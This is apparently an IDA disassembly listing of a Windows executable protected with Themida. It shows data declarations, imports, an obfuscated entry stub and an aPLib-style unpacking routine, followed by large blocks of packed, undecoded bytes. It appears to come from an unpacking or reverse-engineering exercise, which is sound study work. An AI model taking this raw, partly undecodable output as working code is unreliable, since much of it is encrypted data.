dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2450B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2451140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2450650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2450000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2450758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2450758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E0000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E0000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E0050h, 0E0000h, 3 dup(0)
		dd 0E0079h, 0E000Ch, 3 dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:004385ACo
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E1000)
; Virtual size			: 000F4000 ( 999424.)
; Section size in file		: 000F4000 ( 999424.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E1000h
		dd 0A6C591BFh, 48F50h, 54140h, 96172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E1265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005486D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054BCAE SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054BF24 SIZE 00000070 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E1086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E1041
		popa
		jmp	short loc_4E1076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E10h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E1041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E104E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E106D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E1074


loc_4E106D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E104E
; ---------------------------------------------------------------------------


loc_4E1074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E1076:				; CODE XREF: start+1Bj
		jmp	loc_4E1265
; ---------------------------------------------------------------------------
		db 3
		dd 126AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E1086:				; CODE XREF: start+8j
		mov	eax, offset loc_5486D9
		mov	ecx, offset word_4E126A
		push	eax
		push	ecx
		call	sub_4E111B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E1265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E111B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E1127:				; CODE XREF: sub_4E111B:loc_4E113Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E1132:				; CODE XREF: sub_4E111B+7Aj
					; sub_4E111B+C3j ...
		add	dl, dl
		jnz	short loc_4E113B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E113B:				; CODE XREF: sub_4E111B+19j
		jnb	short loc_4E1127
		add	dl, dl
		jnz	short loc_4E1146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1146:				; CODE XREF: sub_4E111B+24j
		jnb	short loc_4E1197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E1153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1153:				; CODE XREF: sub_4E111B+31j
		jnb	loc_4E1238
		add	dl, dl
		jnz	short loc_4E1162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1162:				; CODE XREF: sub_4E111B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E116D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E116D:				; CODE XREF: sub_4E111B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1178:				; CODE XREF: sub_4E111B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E1183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1183:				; CODE XREF: sub_4E111B+61j
		adc	eax, eax
		jz	short loc_4E118D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E118D:				; CODE XREF: sub_4E111B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1197:				; CODE XREF: sub_4E111B:loc_4E1146j
		mov	eax, 1


loc_4E119C:				; CODE XREF: sub_4E111B:loc_4E11B0j
		add	dl, dl
		jnz	short loc_4E11A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11A5:				; CODE XREF: sub_4E111B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E11B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11B0:				; CODE XREF: sub_4E111B+8Ej
		jb	short loc_4E119C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E11E3
		mov	ecx, 1


loc_4E11C0:				; CODE XREF: sub_4E111B:loc_4E11D4j
		add	dl, dl
		jnz	short loc_4E11C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11C9:				; CODE XREF: sub_4E111B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E11D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11D4:				; CODE XREF: sub_4E111B+B2j
		jb	short loc_4E11C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E11E3:				; CODE XREF: sub_4E111B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E11F1:				; CODE XREF: sub_4E111B:loc_4E1205j
		add	dl, dl
		jnz	short loc_4E11FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E11FA:				; CODE XREF: sub_4E111B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E1205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E1205:				; CODE XREF: sub_4E111B+E3j
		jb	short loc_4E11F1
		cmp	eax, 7D00h
		jnb	short loc_4E1228
		cmp	eax, 500h
		jb	short loc_4E1223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1223:				; CODE XREF: sub_4E111B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E122B


loc_4E1228:				; CODE XREF: sub_4E111B+F1j
		add	ecx, 2


loc_4E122B:				; CODE XREF: sub_4E111B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1238:				; CODE XREF: sub_4E111B:loc_4E1153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E1259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E1132
; ---------------------------------------------------------------------------


loc_4E1259:				; CODE XREF: sub_4E111B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E111B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E1265:				; CODE XREF: start:loc_4E1076j
					; start+9Dj
		jmp	loc_5486D9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E126A	dw 38E9h		; DATA XREF: start+77o
		dd 15635D0h, 0B821C8BFh, 6854C043h, 38696D65h, 0BB476164h
		dd 102E24A2h, 8B36BCEAh, 0FCEE3A84h, 6F848B92h,	10EE3321h
		dd 1C9FBBEh, 0E85F0815h, 0C47F7701h, 7F087722h,	7303CA42h
		dd 21757D30h, 0FFDD01h,	74736552h, 41E67261h, 2E7A7071h
		dd 1FE1787Ch, 0C4ADB4EFh, 3D298BCh, 91AAC43Eh, 71A3ABBCh
		dd 77850370h, 0C23545FEh, 1711791Fh, 70FEF708h,	8BC38F78h
		dd 60D490C5h, 5D10E1E8h, 0DF00ED81h, 89061235h,	0C2096995h
		dd 3141B50Dh, 2EE48527h, 59BD8301h, 74000724h, 0E4E88B0Ch
		dd 4FB84EE2h, 7078C21Dh, 88E32444h, 1D02453Eh, 0A3E84C6Ah
		dd 9A0F6829h, 4A078374h, 25030ADFh, 0D20A894Bh,	14E921D5h
		dd 0BE0C2202h
		db 80h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	bl, [edx-7Fh]
		jmp	far ptr	0C7DAh:8B0036CDh
; ---------------------------------------------------------------------------
		db 45h
		dd 0D808D848h, 0C789400Eh, 0E67D8108h, 74331D80h, 0F908200Fh
		dd 45983783h, 0EB4312FFh, 0DC36E163h, 14267461h, 4604C2C9h
		dd 7CC48106h, 498E02FFh, 371620h, 8B80458Dh, 85C7085Dh
		dd 502519A2h, 0D10A008Dh, 411888C3h, 810B8954h,	106BD51h
		dd 4AE3755Dh, 0BA8D1427h, 75027664h, 0BB0E8A80h, 0B85B48F4h
		dd 543707ABh, 0E6D0D378h, 4B1D080Fh, 0AF82F775h, 924647C3h
		dd 0F946314Ah, 61D14251h, 0D0038A5Dh, 0EEECAFF0h, 4DFC5045h
		dd 0AD0451EBh, 628046E4h, 0BAF7403Eh, 3473849Bh, 0EB0C7D0Ch
		dd 86F83E7Fh, 0F0126D64h, 0F4540E26h, 0C10A4A10h, 0D604F065h
		dd 0E0D1F801h, 0CBC203h, 8ADB3328h, 0FB80301Ch,	0A6172E6h
		dd 577390Ah, 93F7EBE9h,	61143F22h, 660A0DB3h, 1E7A08FBh
		dd 0A75C3FAh, 411A1061h, 0A860B72h, 24067746h, 5D0110F5h
		dd 0F4ECC3F0h, 2987D83h, 0CD9B072h, 0A5BB76C0h,	0F826AA32h
		dd 8D3B700Eh, 53BA850h,	820FFC55h, 0B0BD4E78h, 0F238AA0Dh
		dd 708BA87h, 427005B9h,	385CBDFCh, 470FFE00h, 0FA750E49h
		dd 6A2E22B9h, 1101BBE3h, 0EB82F1E8h, 2BBEDh, 3A4E868Eh
		dd 70510713h, 8B367E65h, 0DE268AB9h, 80C8E927h,	0D4F88159h
		dd 6706C32Ch, 3A6DC82h,	64F14C2Ah, 0D8BA2B98h, 3001B4F6h
		dd 2D6863EEh, 0F4DC9AF3h, 0A8D61E06h, 0E9654662h, 31F3109h
		dd 0E6804434h, 817D7A5Eh, 5CA738D8h, 0B8CB8C9Fh, 4E397060h
		dd 0F01765Bh, 3D51B810h, 3BF1D104h, 488646D9h, 0F02E0975h
		dd 0EC480EC0h, 509065E4h, 6846206h, 968E05C5h, 5347FF61h
		dd 40C20485h, 5718C29h,	0EDBE782h, 21FFB2F4h, 80047781h
		dd 0C1341D22h, 3233F984h, 3FBC2075h, 0CC0AEE0Eh, 0E60230EFh
		dd 33EC7141h, 0FFCC7F8Ch, 451940F2h, 604AE9FDh,	52C46200h
		dd 11254D8Ch, 0B1AA8210h, 0A15AAB99h, 56141384h, 825EC1E5h
		dd 81556CEEh, 9F2A0608h, 13B9548Ah, 0A5972340h,	8C670743h
		dd 0DA8D30E0h, 813D66B4h, 16B83E2h, 0E04E957h, 0C45F212Dh
		dd 25758A42h, 8459F86h,	47211660h, 14CAC457h, 310BE9D5h
		dd 0C7244200h, 96C39F98h, 0EAA7560Ch, 521D0Ah, 64799AA6h
		dd 98B5FF05h, 0CA0B5C03h, 644A8610h, 61588625h,	8AC8C460h
		dd 1C448C7Dh, 0C4580E48h, 54805115h, 36AC9C74h,	7B821028h
		dd 45C4E380h, 0C8FD5102h, 8620EA86h, 50210299h,	7DD88861h
		dd 822BA062h, 0DF140AD4h, 4F1A455Bh, 8D1014F1h,	88BC0030h
		dd 8A49C07Ah, 2F1A3086h, 3DE0812Ah, 946A12C8h, 853B20E9h
		dd 42DF659Eh, 0D8710BCh, 0F8C2B85h, 0B6E08212h,	5F770C6Ch
		dd 0C937EA50h, 553AFDFAh, 0DCC70987h, 0CF62469h, 5B35C540h
		dd 45001A8Ch, 0E1A62F68h, 0C010E9A8h, 0A3110B21h, 0AA00F895h
		dd 9D7A3E41h, 0CBFCA32h, 0EEA5D49h, 17009E29h, 5B28C066h
		dd 0F7A957Dh, 9399AE6h,	0FCBC5901h, 0B8B5831Ah,	900F8CC3h
		dd 0FC282C7h, 6F94597Dh, 4F0389A6h, 0EAFCC6B0h,	0DA311E00h
		dd 0C8BB6714h, 5F2F49Ah, 6E15A2D2h, 65806758h, 5BB7228Ah
		dd 0E4007CC2h, 84AC2EE8h, 0E904EF0Dh, 3FD42111h, 925D010Bh
		dd 0AAD90367h, 7F6F20B4h, 0C798BF00h, 605BF658h, 364C484Fh
		dd 0C0EC1222h, 28EAC411h, 1C777F00h, 9E32291Fh,	82A84600h
		dd 0B424EDDBh, 8AEA2C6Bh, 0FC0A805Eh, 0E6CD2BD3h, 4FACFF00h
		dd 6D04F4AEh, 0BEDE0057h, 0DC606B47h, 13035B7Dh, 0D8447A73h
		dd 2A83A778h, 87C76h, 375D9C69h, 0ED289AA0h, 4720B318h
		dd 700E7831h, 3F650968h, 6F006236h, 0B0F1C85Dh,	71020B00h
		dd 43D8F06Dh, 5B30C00Dh, 679E37CBh, 0A0097D00h,	5CA1DE44h
		dd 97DF00E6h, 0D28E6462h, 11004D8Bh, 13C7FCFAh,	1BE48065h
		dd 1867CE96h, 0B10C76EBh, 590B439Ah, 0DAEB005Fh, 0F5D99F2Fh
		dd 7CEEE722h, 0D72B29C0h, 0BC907Bh, 0CBB09295h,	9993464Ah
		dd 97BF5E1Ch, 0FEEABBC0h, 18256B78h, 0E1662179h, 7F00F3B1h
		dd 683230E0h, 3F195A9h,	8EE49951h, 90019616h, 7EE3E559h
